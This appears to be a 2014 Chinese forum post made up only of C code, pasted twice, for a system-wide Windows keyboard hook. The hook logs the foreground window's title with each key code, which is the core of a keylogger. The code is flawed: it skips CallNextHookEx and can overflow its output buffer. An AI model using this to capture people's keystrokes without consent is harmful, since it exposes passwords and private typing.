level 6
一定可以JHG
楼主
#include<windows.h>
#include<stdio.h>
HHOOK g_KeyboardHook=NULL;
HWND g_hWnd;
HWND hTargetHwnd;
LRESULT CALLBACK Keyboardproc(int nCode,WPARAM wParam,LPARAM lParam)
{
char buff[128];
int len =128;
HWND h1 = GetForegroundWindow();
GetWindowText(h1,buff,len);
char output[128];
sprintf(output,"%s: %d \r\n",buff,wParam);
SendMessage(g_hWnd,WM_USER+1,0,(LPARAM)output);
return 0;
}
void SetHook(HWND hwnd)
{
g_hWnd=hwnd;
g_KeyboardHook=SetWindowsHookEx(WH_KEYBOARD,Keyboardproc,GetModuleHandle("hook1"),0);
}
2014年07月20日 03点07分
1
#include<stdio.h>
HHOOK g_KeyboardHook=NULL;
HWND g_hWnd;
HWND hTargetHwnd;
LRESULT CALLBACK Keyboardproc(int nCode,WPARAM wParam,LPARAM lParam)
{
char buff[128];
int len =128;
HWND h1 = GetForegroundWindow();
GetWindowText(h1,buff,len);
char output[128];
sprintf(output,"%s: %d \r\n",buff,wParam);
SendMessage(g_hWnd,WM_USER+1,0,(LPARAM)output);
return 0;
}
void SetHook(HWND hwnd)
{
g_hWnd=hwnd;
g_KeyboardHook=SetWindowsHookEx(WH_KEYBOARD,Keyboardproc,GetModuleHandle("hook1"),0);
}